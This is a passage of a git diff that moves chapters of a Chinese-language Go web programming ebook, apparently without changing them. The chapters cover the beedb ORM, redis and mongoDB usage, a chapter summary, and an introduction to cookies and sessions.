- 实现interface设计,类似databse/sql/driver的设计,设计beedb的接口,然后去实现相应数据库的CRUD操作
|
||||
- 实现关联数据库设计,支持一对一,一对多,多对多的实现,示例代码如下:
|
||||
|
||||
|
||||
type Profile struct{
|
||||
Nickname string
|
||||
Mobile string
|
||||
}
|
||||
|
||||
type Userinfo struct {
|
||||
Uid int `PK`
|
||||
Username string
|
||||
Departname string
|
||||
Created time.Time
|
||||
Profile `HasOne`
|
||||
}
|
||||
|
||||
- 自动建库建表建索引
|
||||
- 实现连接池的实现,采用goroutine
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [使用PostgreSQL数据库](<05.4.md>)
|
||||
* 下一节: [NOSQL数据库操作](<05.6.md>)
|
||||
# 5.5 使用beedb库进行ORM开发
|
||||
beedb是我开发的一个Go进行ORM操作的库,它采用了Go style方式对数据库进行操作,实现了struct到数据表记录的映射。beedb是一个十分轻量级的Go ORM框架,开发这个库的本意降低复杂的ORM学习曲线,尽可能在ORM的运行效率和功能之间寻求一个平衡,beedb是目前开源的Go ORM框架中实现比较完整的一个库,而且运行效率相当不错,功能也基本能满足需求。但是目前还不支持关系关联,这个是接下来版本升级的重点。
|
||||
|
||||
beedb是支持database/sql标准接口的ORM库,所以理论上来说,只要数据库驱动支持database/sql接口就可以无缝的接入beedb。目前我测试过的驱动包括下面几个:
|
||||
|
||||
Mysql:github.com/ziutek/mymysql/godrv[*]
|
||||
|
||||
Mysql:code.google.com/p/go-mysql-driver[*]
|
||||
|
||||
PostgreSQL:github.com/bmizerany/pq[*]
|
||||
|
||||
SQLite:github.com/mattn/go-sqlite3[*]
|
||||
|
||||
MS ADODB: github.com/mattn/go-adodb[*]
|
||||
|
||||
ODBC: bitbucket.org/miquella/mgodbc[*]
|
||||
|
||||
## 安装
|
||||
|
||||
beedb支持go get方式安装,是完全按照Go Style的方式来实现的。
|
||||
|
||||
go get github.com/astaxie/beedb
|
||||
|
||||
## 如何初始化
|
||||
首先你需要import相应的数据库驱动包、database/sql标准接口包以及beedb包,如下所示:
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"github.com/astaxie/beedb"
|
||||
_ "github.com/ziutek/mymysql/godrv"
|
||||
)
|
||||
|
||||
导入必须的package之后,我们需要打开到数据库的链接,然后创建一个beedb对象(以MySQL为例),如下所示
|
||||
|
||||
db, err := sql.Open("mymysql", "test/xiemengjun/123456")
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
orm := beedb.New(db)
|
||||
|
||||
beedb的New函数实际上应该有两个参数,第一个参数标准接口的db,第二个参数是使用的数据库引擎,如果你使用的数据库引擎是MySQL/Sqlite,那么第二个参数都可以省略。
|
||||
|
||||
如果你使用的数据库是SQLServer,那么初始化需要:
|
||||
|
||||
orm = beedb.New(db, "mssql")
|
||||
|
||||
如果你使用了PostgreSQL,那么初始化需要:
|
||||
|
||||
orm = beedb.New(db, "pg")
|
||||
|
||||
目前beedb支持打印调试,你可以通过如下的代码实现调试
|
||||
|
||||
beedb.OnDebug=true
|
||||
|
||||
接下来我们的例子采用前面的数据库表Userinfo,现在我们建立相应的struct
|
||||
|
||||
type Userinfo struct {
|
||||
Uid int `PK` //如果表的主键不是id,那么需要加上pk注释,显式的说这个字段是主键
|
||||
Username string
|
||||
Departname string
|
||||
Created time.Time
|
||||
}
|
||||
|
||||
>注意一点,beedb针对驼峰命名会自动帮你转化成下划线字段,例如你定义了Struct名字为`UserInfo`,那么转化成底层实现的时候是`user_info`,字段命名也遵循该规则。
|
||||
|
||||
## 插入数据
|
||||
下面的代码演示了如何插入一条记录,可以看到我们操作的是strcut对象,而不是原生的sql语句,最后通过调用Save接口将数据保存到数据库。
|
||||
|
||||
var saveone Userinfo
|
||||
saveone.Username = "Test Add User"
|
||||
saveone.Departname = "Test Add Departname"
|
||||
saveone.Created = time.Now()
|
||||
orm.Save(&saveone)
|
||||
|
||||
我们看到插入之后`saveone.Uid`就是插入成功之后的自增ID。Save接口会自动帮你存进去。
|
||||
|
||||
beedb接口提供了另外一种插入的方式,map数据插入。
|
||||
|
||||
add := make(map[string]interface{})
|
||||
add["username"] = "astaxie"
|
||||
add["departname"] = "cloud develop"
|
||||
add["created"] = "2012-12-02"
|
||||
orm.SetTable("userinfo").Insert(add)
|
||||
|
||||
插入多条数据
|
||||
|
||||
addslice := make([]map[string]interface{})
|
||||
add:=make(map[string]interface{})
|
||||
add2:=make(map[string]interface{})
|
||||
add["username"] = "astaxie"
|
||||
add["departname"] = "cloud develop"
|
||||
add["created"] = "2012-12-02"
|
||||
add2["username"] = "astaxie2"
|
||||
add2["departname"] = "cloud develop2"
|
||||
add2["created"] = "2012-12-02"
|
||||
addslice =append(addslice, add, add2)
|
||||
orm.SetTable("userinfo").Insert(addslice)
|
||||
|
||||
上面的操作方式有点类似链式查询,熟悉jquery的同学应该会觉得很亲切,每次调用的method都会返回原orm对象,以便可以继续调用该对象上的其他method。
|
||||
|
||||
上面我们调用的SetTable函数是显式的告诉ORM,我要执行的这个map对应的数据库表是`userinfo`。
|
||||
|
||||
## 更新数据
|
||||
继续上面的例子来演示更新操作,现在saveone的主键已经有值了,此时调用save接口,beedb内部会自动调用update以进行数据的更新而非插入操作。
|
||||
|
||||
saveone.Username = "Update Username"
|
||||
saveone.Departname = "Update Departname"
|
||||
saveone.Created = time.Now()
|
||||
orm.Save(&saveone) //现在saveone有了主键值,就执行更新操作
|
||||
|
||||
更新数据也支持直接使用map操作
|
||||
|
||||
t := make(map[string]interface{})
|
||||
t["username"] = "astaxie"
|
||||
orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t)
|
||||
|
||||
这里我们调用了几个beedb的函数
|
||||
|
||||
SetPK:显式的告诉ORM,数据库表`userinfo`的主键是`uid`。
|
||||
|
||||
Where:用来设置条件,支持多个参数,第一个参数如果为整数,相当于调用了Where("主键=?",值)。
|
||||
Updata函数接收map类型的数据,执行更新数据。
|
||||
|
||||
## 查询数据
|
||||
beedb的查询接口比较灵活,具体使用请看下面的例子
|
||||
|
||||
例子1,根据主键获取数据:
|
||||
|
||||
var user Userinfo
|
||||
//Where接受两个参数,支持整形参数
|
||||
orm.Where("uid=?", 27).Find(&user)
|
||||
|
||||
|
||||
例子2:
|
||||
|
||||
var user2 Userinfo
|
||||
orm.Where(3).Find(&user2) // 这是上面版本的缩写版,可以省略主键
|
||||
|
||||
例子3,不是主键类型的的条件:
|
||||
|
||||
var user3 Userinfo
|
||||
//Where接受两个参数,支持字符型的参数
|
||||
orm.Where("name = ?", "john").Find(&user3)
|
||||
例子4,更加复杂的条件:
|
||||
|
||||
var user4 Userinfo
|
||||
//Where支持三个参数
|
||||
orm.Where("name = ? and age < ?", "john", 88).Find(&user4)
|
||||
|
||||
|
||||
可以通过如下接口获取多条数据,请看示例
|
||||
|
||||
例子1,根据条件id>3,获取20位置开始的10条数据的数据
|
||||
|
||||
var allusers []Userinfo
|
||||
err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers)
|
||||
|
||||
例子2,省略limit第二个参数,默认从0开始,获取10条数据
|
||||
|
||||
var tenusers []Userinfo
|
||||
err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers)
|
||||
|
||||
例子3,获取全部数据
|
||||
|
||||
var everyone []Userinfo
|
||||
err := orm.OrderBy("uid desc,username asc").FindAll(&everyone)
|
||||
|
||||
上面这些里面里面我们看到一个函数Limit,他是用来控制查询结构条数的。
|
||||
|
||||
Limit:支持两个参数,第一个参数表示查询的条数,第二个参数表示读取数据的起始位置,默认为0。
|
||||
|
||||
OrderBy:这个函数用来进行查询排序,参数是需要排序的条件。
|
||||
|
||||
上面这些例子都是将获取的的数据直接映射成struct对象,如果我们只是想获取一些数据到map,以下方式可以实现:
|
||||
|
||||
a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap()
|
||||
|
||||
上面和这个例子里面又出现了一个新的接口函数Select,这个函数用来指定需要查询多少个字段。默认为全部字段`*`。
|
||||
|
||||
FindMap()函数返回的是`[]map[string][]byte`类型,所以你需要自己作类型转换。
|
||||
|
||||
## 删除数据
|
||||
beedb提供了丰富的删除数据接口,请看下面的例子
|
||||
|
||||
例子1,删除单条数据
|
||||
|
||||
//saveone就是上面示例中的那个saveone
|
||||
orm.Delete(&saveone)
|
||||
|
||||
例子2,删除多条数据
|
||||
|
||||
//alluser就是上面定义的获取多条数据的slice
|
||||
orm.DeleteAll(&alluser)
|
||||
|
||||
例子3,根据sql删除数据
|
||||
|
||||
orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow()
|
||||
|
||||
|
||||
## 关联查询
|
||||
目前beedb还不支持struct的关联关系,但是有些应用却需要用到连接查询,所以现在beedb提供了一个简陋的实现方案:
|
||||
|
||||
a, _ := orm.SetTable("userinfo").Join("LEFT", "userdeatail", "userinfo.uid=userdeatail.uid").Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdeatail.profile").FindMap()
|
||||
|
||||
上面代码中我们看到了一个新的接口Join函数,这个函数带有三个参数
|
||||
|
||||
- 第一个参数可以是:INNER, LEFT, OUTER, CROSS等
|
||||
- 第二个参数表示连接的表
|
||||
- 第三个参数表示连接的条件
|
||||
|
||||
|
||||
## Group By和Having
|
||||
针对有些应用需要用到group by和having的功能,beedb也提供了一个简陋的实现
|
||||
|
||||
a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap()
|
||||
|
||||
上面的代码中出现了两个新接口函数
|
||||
|
||||
GroupBy:用来指定进行groupby的字段
|
||||
|
||||
Having:用来指定having执行的时候的条件
|
||||
|
||||
## 进一步的发展
|
||||
目前beedb已经获得了很多来自国内外用户的反馈,我目前也正在考虑重构,接下来会在几个方面进行改进
|
||||
|
||||
- 实现interface设计,类似databse/sql/driver的设计,设计beedb的接口,然后去实现相应数据库的CRUD操作
|
||||
- 实现关联数据库设计,支持一对一,一对多,多对多的实现,示例代码如下:
|
||||
|
||||
|
||||
type Profile struct{
|
||||
Nickname string
|
||||
Mobile string
|
||||
}
|
||||
|
||||
type Userinfo struct {
|
||||
Uid int `PK`
|
||||
Username string
|
||||
Departname string
|
||||
Created time.Time
|
||||
Profile `HasOne`
|
||||
}
|
||||
|
||||
- 自动建库建表建索引
|
||||
- 实现连接池的实现,采用goroutine
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [使用PostgreSQL数据库](<05.4.md>)
|
||||
* 下一节: [NOSQL数据库操作](<05.6.md>)
|
||||
228
05.6.md → ebook/05.6.md
Executable file → Normal file
228
05.6.md → ebook/05.6.md
Executable file → Normal file
@@ -1,114 +1,114 @@
|
||||
# 5.6 NOSQL数据库操作
|
||||
NoSQL(Not Only SQL),指的是非关系型的数据库。随着Web2.0的兴起,传统的关系数据库在应付Web2.0网站,特别是超大规模和高并发的SNS类型的Web2.0纯动态网站已经显得力不从心,暴露了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。
|
||||
|
||||
而Go语言作为21世纪的C语言,对NOSQL的支持也是很好,目前流行的NOSQL主要有redis、mongoDB、Cassandra和Membase等。这些数据库都有高性能、高并发读写等特点,目前已经广泛应用于各种应用中。我接下来主要讲解一下redis和mongoDB的操作。
|
||||
|
||||
## redis
|
||||
redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)和zset(有序集合)。
|
||||
|
||||
目前应用redis最广泛的应该是新浪微博平台,其次还有Facebook收购的图片社交网站instagram。以及其他一些有名的[互联网企业](http://redis.io/topics/whos-using-redis)
|
||||
|
||||
Go目前支持redis的驱动有如下
|
||||
- https://github.com/alphazero/Go-Redis
|
||||
- http://code.google.com/p/tideland-rdc/
|
||||
- https://github.com/simonz05/godis
|
||||
- https://github.com/hoisie/redis.go
|
||||
|
||||
目前我fork了最后一个驱动,更新了一些bug,目前应用在我自己的短域名服务项目中(每天200W左右的PV值)
|
||||
|
||||
https://github.com/astaxie/goredis
|
||||
|
||||
接下来的以我自己fork的这个redis驱动为例来演示如何进行数据的操作
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"github.com/astaxie/goredis"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func main() {
|
||||
var client goredis.Client
|
||||
//字符串操作
|
||||
var client goredis.Client
|
||||
client.Set("a", []byte("hello"))
|
||||
val, _ := client.Get("a")
|
||||
fmt.Println(string(val))
|
||||
client.Del("a")
|
||||
|
||||
//list操作
|
||||
|
||||
var client goredis.Client
|
||||
vals := []string{"a", "b", "c", "d", "e"}
|
||||
for _, v := range vals {
|
||||
client.Rpush("l", []byte(v))
|
||||
}
|
||||
dbvals,_ := client.Lrange("l", 0, 4)
|
||||
for i, v := range dbvals {
|
||||
println(i,":",string(v))
|
||||
}
|
||||
client.Del("l")
|
||||
}
|
||||
|
||||
我们可以看到操作redis非常的方便,而且我实际项目中应用下来性能也很高。client的命令和redis的命令基本保持一致。所以和原生态操作redis非常类似。
|
||||
|
||||
## mongoDB
|
||||
|
||||
MongoDB是一个高性能,开源,无模式的文档型数据库,是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。他支持的数据结构非常松散,采用的是类似json的bjson格式来存储数据,因此可以存储比较复杂的数据类型。Mongo最大的特点是他支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。
|
||||
|
||||
下图展示了mysql和mongoDB之间的对应关系,我们可以看出来非常的方便,但是mongoDB的性能非常好。
|
||||
|
||||

|
||||
|
||||
图5.1 MongoDB和Mysql的操作对比图
|
||||
|
||||
目前Go支持mongoDB最好的驱动就是[mgo](http://labix.org/mgo),这个驱动目前最有可能成为官方的pkg。
|
||||
|
||||
下面我将演示如何通过Go来操作mongoDB:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"labix.org/v2/mgo"
|
||||
"labix.org/v2/mgo/bson"
|
||||
)
|
||||
|
||||
type Person struct {
|
||||
Name string
|
||||
Phone string
|
||||
}
|
||||
|
||||
func main() {
|
||||
session, err := mgo.Dial("server1.example.com,server2.example.com")
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
session.SetMode(mgo.Monotonic, true)
|
||||
|
||||
c := session.DB("test").C("people")
|
||||
err = c.Insert(&Person{"Ale", "+55 53 8116 9639"},
|
||||
&Person{"Cla", "+55 53 8402 8510"})
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
result := Person{}
|
||||
err = c.Find(bson.M{"name": "Ale"}).One(&result)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
fmt.Println("Phone:", result.Phone)
|
||||
}
|
||||
|
||||
我们可以看出来mgo的操作方式和beedb的操作方式几乎类似,都是基于strcut的操作方式,这个就是Go Style。
|
||||
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [使用beedb库进行ORM开发](<05.5.md>)
|
||||
* 下一节: [小结](<05.7.md>)
|
||||
# 5.6 NOSQL数据库操作
|
||||
NoSQL(Not Only SQL),指的是非关系型的数据库。随着Web2.0的兴起,传统的关系数据库在应付Web2.0网站,特别是超大规模和高并发的SNS类型的Web2.0纯动态网站已经显得力不从心,暴露了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。
|
||||
|
||||
而Go语言作为21世纪的C语言,对NOSQL的支持也是很好,目前流行的NOSQL主要有redis、mongoDB、Cassandra和Membase等。这些数据库都有高性能、高并发读写等特点,目前已经广泛应用于各种应用中。我接下来主要讲解一下redis和mongoDB的操作。
|
||||
|
||||
## redis
|
||||
redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)和zset(有序集合)。
|
||||
|
||||
目前应用redis最广泛的应该是新浪微博平台,其次还有Facebook收购的图片社交网站instagram。以及其他一些有名的[互联网企业](http://redis.io/topics/whos-using-redis)
|
||||
|
||||
Go目前支持redis的驱动有如下
|
||||
- https://github.com/alphazero/Go-Redis
|
||||
- http://code.google.com/p/tideland-rdc/
|
||||
- https://github.com/simonz05/godis
|
||||
- https://github.com/hoisie/redis.go
|
||||
|
||||
目前我fork了最后一个驱动,更新了一些bug,目前应用在我自己的短域名服务项目中(每天200W左右的PV值)
|
||||
|
||||
https://github.com/astaxie/goredis
|
||||
|
||||
接下来的以我自己fork的这个redis驱动为例来演示如何进行数据的操作
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"github.com/astaxie/goredis"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func main() {
|
||||
var client goredis.Client
|
||||
//字符串操作
|
||||
var client goredis.Client
|
||||
client.Set("a", []byte("hello"))
|
||||
val, _ := client.Get("a")
|
||||
fmt.Println(string(val))
|
||||
client.Del("a")
|
||||
|
||||
//list操作
|
||||
|
||||
var client goredis.Client
|
||||
vals := []string{"a", "b", "c", "d", "e"}
|
||||
for _, v := range vals {
|
||||
client.Rpush("l", []byte(v))
|
||||
}
|
||||
dbvals,_ := client.Lrange("l", 0, 4)
|
||||
for i, v := range dbvals {
|
||||
println(i,":",string(v))
|
||||
}
|
||||
client.Del("l")
|
||||
}
|
||||
|
||||
我们可以看到操作redis非常的方便,而且我实际项目中应用下来性能也很高。client的命令和redis的命令基本保持一致。所以和原生态操作redis非常类似。
|
||||
|
||||
## mongoDB
|
||||
|
||||
MongoDB是一个高性能,开源,无模式的文档型数据库,是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。他支持的数据结构非常松散,采用的是类似json的bjson格式来存储数据,因此可以存储比较复杂的数据类型。Mongo最大的特点是他支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。
|
||||
|
||||
下图展示了mysql和mongoDB之间的对应关系,我们可以看出来非常的方便,但是mongoDB的性能非常好。
|
||||
|
||||

|
||||
|
||||
图5.1 MongoDB和Mysql的操作对比图
|
||||
|
||||
目前Go支持mongoDB最好的驱动就是[mgo](http://labix.org/mgo),这个驱动目前最有可能成为官方的pkg。
|
||||
|
||||
下面我将演示如何通过Go来操作mongoDB:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"labix.org/v2/mgo"
|
||||
"labix.org/v2/mgo/bson"
|
||||
)
|
||||
|
||||
type Person struct {
|
||||
Name string
|
||||
Phone string
|
||||
}
|
||||
|
||||
func main() {
|
||||
session, err := mgo.Dial("server1.example.com,server2.example.com")
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
session.SetMode(mgo.Monotonic, true)
|
||||
|
||||
c := session.DB("test").C("people")
|
||||
err = c.Insert(&Person{"Ale", "+55 53 8116 9639"},
|
||||
&Person{"Cla", "+55 53 8402 8510"})
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
result := Person{}
|
||||
err = c.Find(bson.M{"name": "Ale"}).One(&result)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
fmt.Println("Phone:", result.Phone)
|
||||
}
|
||||
|
||||
我们可以看出来mgo的操作方式和beedb的操作方式几乎类似,都是基于strcut的操作方式,这个就是Go Style。
|
||||
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [使用beedb库进行ORM开发](<05.5.md>)
|
||||
* 下一节: [小结](<05.7.md>)
|
||||
18
05.7.md → ebook/05.7.md
Executable file → Normal file
18
05.7.md → ebook/05.7.md
Executable file → Normal file
@@ -1,9 +1,9 @@
|
||||
# 5.7 小结
|
||||
这一章我们讲解了Go如何设计database/sql接口,然后介绍了各种第三方关系型数据库驱动的使用。接着介绍了beedb,一种基于关系型数据库的ORM库,如何对数据库进行简单的操作。最后介绍了NOSQL的一些知识,目前Go对于NOSQL支持还是不错,因为Go作为21世纪的C语言,那么对于21世纪的数据库也是支持的相当好。
|
||||
|
||||
通过这一章的学习,我们学会了如何操作各种数据库,那么就解决了我们数据存储的问题,这是Web里面最重要的一部分,所以希望大家能够深入的去了解database/sql的设计思想。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [NOSQL数据库操作](<05.6.md>)
|
||||
* 下一章: [session和数据存储](<06.0.md>)
|
||||
# 5.7 小结
|
||||
这一章我们讲解了Go如何设计database/sql接口,然后介绍了各种第三方关系型数据库驱动的使用。接着介绍了beedb,一种基于关系型数据库的ORM库,如何对数据库进行简单的操作。最后介绍了NOSQL的一些知识,目前Go对于NOSQL支持还是不错,因为Go作为21世纪的C语言,那么对于21世纪的数据库也是支持的相当好。
|
||||
|
||||
通过这一章的学习,我们学会了如何操作各种数据库,那么就解决了我们数据存储的问题,这是Web里面最重要的一部分,所以希望大家能够深入的去了解database/sql的设计思想。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [NOSQL数据库操作](<05.6.md>)
|
||||
* 下一章: [session和数据存储](<06.0.md>)
|
||||
24
06.0.md → ebook/06.0.md
Executable file → Normal file
24
06.0.md → ebook/06.0.md
Executable file → Normal file
@@ -1,12 +1,12 @@
|
||||
# 6 session和数据存储
|
||||
Web开发中一个很重要的议题就是如何做好用户的整个浏览过程的控制,因为HTTP协议是无状态的,所以用户的每一次请求都是无状态的,我们不知道在整个Web操作过程中哪些连接与该用户有关,我们应该如何来解决这个问题呢?Web里面经典的解决方案是cookie和session,cookie机制是一种客户端机制,把用户数据保存在客户端,而session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构来保存信息,每一个网站访客都会被分配给一个唯一的标志符,即sessionID,它的存放形式无非两种:要么经过url传递,要么保存在客户端的cookies里.当然,你也可以将Session保存到数据库里,这样会更安全,但效率方面会有所下降。
|
||||
|
||||
6.1小节里面讲介绍session机制和cookie机制的关系和区别,6.2讲解Go语言如何来实现session,里面讲实现一个简易的session管理器,6.3小节讲解如何防止session被劫持的情况,如何有效的保护session。我们知道session其实可以存储在任何地方,6.3小节里面实现的session是存储在内存中的,但是如果我们的应用进一步扩展了,要实现应用的session共享,那么我们可以把session存储在数据库中(memcache或者redis),6.4小节将详细的讲解如何实现这些功能。
|
||||
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第五章总结](<05.7.md>)
|
||||
* 下一节: [session和cookie](<06.1.md>)
|
||||
# 6 session和数据存储
|
||||
Web开发中一个很重要的议题就是如何做好用户的整个浏览过程的控制,因为HTTP协议是无状态的,所以用户的每一次请求都是无状态的,我们不知道在整个Web操作过程中哪些连接与该用户有关,我们应该如何来解决这个问题呢?Web里面经典的解决方案是cookie和session,cookie机制是一种客户端机制,把用户数据保存在客户端,而session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构来保存信息,每一个网站访客都会被分配给一个唯一的标志符,即sessionID,它的存放形式无非两种:要么经过url传递,要么保存在客户端的cookies里.当然,你也可以将Session保存到数据库里,这样会更安全,但效率方面会有所下降。
|
||||
|
||||
6.1小节里面讲介绍session机制和cookie机制的关系和区别,6.2讲解Go语言如何来实现session,里面讲实现一个简易的session管理器,6.3小节讲解如何防止session被劫持的情况,如何有效的保护session。我们知道session其实可以存储在任何地方,6.3小节里面实现的session是存储在内存中的,但是如果我们的应用进一步扩展了,要实现应用的session共享,那么我们可以把session存储在数据库中(memcache或者redis),6.4小节将详细的讲解如何实现这些功能。
|
||||
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第五章总结](<05.7.md>)
|
||||
* 下一节: [session和cookie](<06.1.md>)
|
||||
210
06.1.md → ebook/06.1.md
Executable file → Normal file
210
06.1.md → ebook/06.1.md
Executable file → Normal file
@@ -1,105 +1,105 @@
|
||||
# 6.1 session和cookie
|
||||
session和cookie是网站浏览中较为常见的两个概念,也是比较难以辨析的两个概念,但它们在浏览需要认证的服务页面以及页面统计中却相当关键。我们先来了解一下session和cookie怎么来的?考虑这样一个问题:
|
||||
|
||||
如何抓取一个访问受限的网页?如新浪微博好友的主页,个人微博页面等。
|
||||
|
||||
显然,通过浏览器,我们可以手动输入用户名和密码来访问页面,而所谓的“抓取”,其实就是使用程序来模拟完成同样的工作,因此我们需要了解“登陆”过程中到底发生了什么。
|
||||
|
||||
当用户来到微博登陆页面,输入用户名和密码之后点击“登录”后浏览器将认证信息POST给远端的服务器,服务器执行验证逻辑,如果验证通过,则浏览器会跳转到登录用户的微博首页,在登录成功后,服务器如何验证我们对其他受限制页面的访问呢?因为HTTP协议是无状态的,所以很显然服务器不可能知道我们已经在上一次的HTTP请求中通过了验证。当然,最简单的解决方案就是所有的请求里面都带上用户名和密码,这样虽然可行,但大大加重了服务器的负担(对于每个request都需要到数据库验证),也大大降低了用户体验(每个页面都需要重新输入用户名密码,每个页面都带有登录表单)。既然直接在请求中带上用户名与密码不可行,那么就只有在服务器或客户端保存一些类似的可以代表身份的信息了,所以就有了cookie与session。
|
||||
|
||||
cookie,简而言之就是在本地计算机保存一些用户操作的历史信息(当然包括登录信息),并在用户再次访问该站点时浏览器通过HTTP协议将本地cookie内容发送给服务器,从而完成验证,或继续上一步操作。
|
||||
|
||||

|
||||
|
||||
图6.1 cookie的原理图
|
||||
|
||||
session,简而言之就是在服务器上保存用户操作的历史信息。服务器使用session id来标识session,session id由服务器负责产生,保证随机性与唯一性,相当于一个随机密钥,避免在握手或传输中暴露用户真实密码。但该方式下,仍然需要将发送请求的客户端与session进行对应,所以可以借助cookie机制来获取客户端的标识(即session id),也可以通过GET方式将id提交给服务器。
|
||||
|
||||

|
||||
|
||||
图6.2 session的原理图
|
||||
|
||||
## cookie
|
||||
Cookie是由浏览器维持的,存储在客户端的一小段文本信息,伴随着用户请求和页面在Web服务器和浏览器之间传递。用户每次访问站点时,Web应用程序都可以读取cookie包含的信息。浏览器设置里面有cookie隐私数据选项,打开它,可以看到很多已访问网站的cookies,如下图所示:
|
||||
|
||||

|
||||
|
||||
图6.3 浏览器端保存的cookie信息
|
||||
|
||||
cookie是有时间限制的,根据生命期不同分成两种:会话cookie和持久cookie;
|
||||
|
||||
如果不设置过期时间,则表示这个cookie生命周期为从创建到浏览器关闭止,只要关闭浏览器窗口,cookie就消失了。这种生命期为浏览会话期的cookie被称为会话cookie。会话cookie一般不保存在硬盘上而是保存在内存里。
|
||||
|
||||
如果设置了过期时间(setMaxAge(60*60*24)),浏览器就会把cookie保存到硬盘上,关闭后再次打开浏览器,这些cookie依然有效直到超过设定的过期时间。存储在硬盘上的cookie可以在不同的浏览器进程间共享,比如两个IE窗口。而对于保存在内存的cookie,不同的浏览器有不同的处理方式。
|
||||
|
||||
|
||||
### Go设置cookie
|
||||
Go语言中通过net/http包中的SetCookie来设置:
|
||||
|
||||
http.SetCookie(w ResponseWriter, cookie *Cookie)
|
||||
|
||||
w表示需要写入的response,cookie是一个struct,让我们来看一下cookie对象是怎么样的
|
||||
|
||||
type Cookie struct {
|
||||
Name string
|
||||
Value string
|
||||
Path string
|
||||
Domain string
|
||||
Expires time.Time
|
||||
RawExpires string
|
||||
|
||||
// MaxAge=0 means no 'Max-Age' attribute specified.
|
||||
// MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0'
|
||||
// MaxAge>0 means Max-Age attribute present and given in seconds
|
||||
MaxAge int
|
||||
Secure bool
|
||||
HttpOnly bool
|
||||
Raw string
|
||||
Unparsed []string // Raw text of unparsed attribute-value pairs
|
||||
}
|
||||
|
||||
我们来看一个例子,如何设置cookie
|
||||
|
||||
expiration := *time.LocalTime()
|
||||
expiration.Year += 1
|
||||
cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration}
|
||||
http.SetCookie(w, &cookie)
|
||||
|
||||
|
||||
### Go读取cookie
|
||||
上面的例子演示了如何设置cookie数据,我们这里来演示一下如何读取cookie
|
||||
|
||||
cookie, _ := r.Cookie("username")
|
||||
fmt.Fprint(w, cookie)
|
||||
|
||||
还有另外一种读取方式
|
||||
|
||||
for _, cookie := range r.Cookies() {
|
||||
fmt.Fprint(w, cookie.Name)
|
||||
}
|
||||
|
||||
可以看到通过request获取cookie非常方便。
|
||||
|
||||
## session
|
||||
|
||||
session,中文经常翻译为会话,其本来的含义是指有始有终的一系列动作/消息,比如打电话是从拿起电话拨号到挂断电话这中间的一系列过程可以称之为一个session。然而当session一词与网络协议相关联时,它又往往隐含了“面向连接”和/或“保持状态”这样两个含义。
|
||||
|
||||
session在Web开发环境下的语义又有了新的扩展,它的含义是指一类用来在客户端与服务器端之间保持状态的解决方案。有时候Session也用来指这种解决方案的存储结构。
|
||||
|
||||
session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存息。
|
||||
|
||||
但程序需要为某个客户端的请求创建一个session的时候,服务器首先检查这个客户端的请求里是否包含了一个session标识-称为session id,如果已经包含一个session id则说明以前已经为此客户创建过session,服务器就按照session id把这个session检索出来使用(如果检索不到,可能会新建一个,这种情况可能出现在服务端已经删除了该用户对应的session对象,但用户人为地在请求的URL后面附加上一个JSESSION的参数)。如果客户请求不包含session id,则为此客户创建一个session并且同时生成一个与此session相关联的session id,这个session id将在本次响应中返回给客户端保存。
|
||||
|
||||
session机制本身并不复杂,然而其实现和配置上的灵活性却使得具体情况复杂多变。这也要求我们不能把仅仅某一次的经验或者某一个浏览器,服务器的经验当作普遍适用的。
|
||||
|
||||
## 小结
|
||||
|
||||
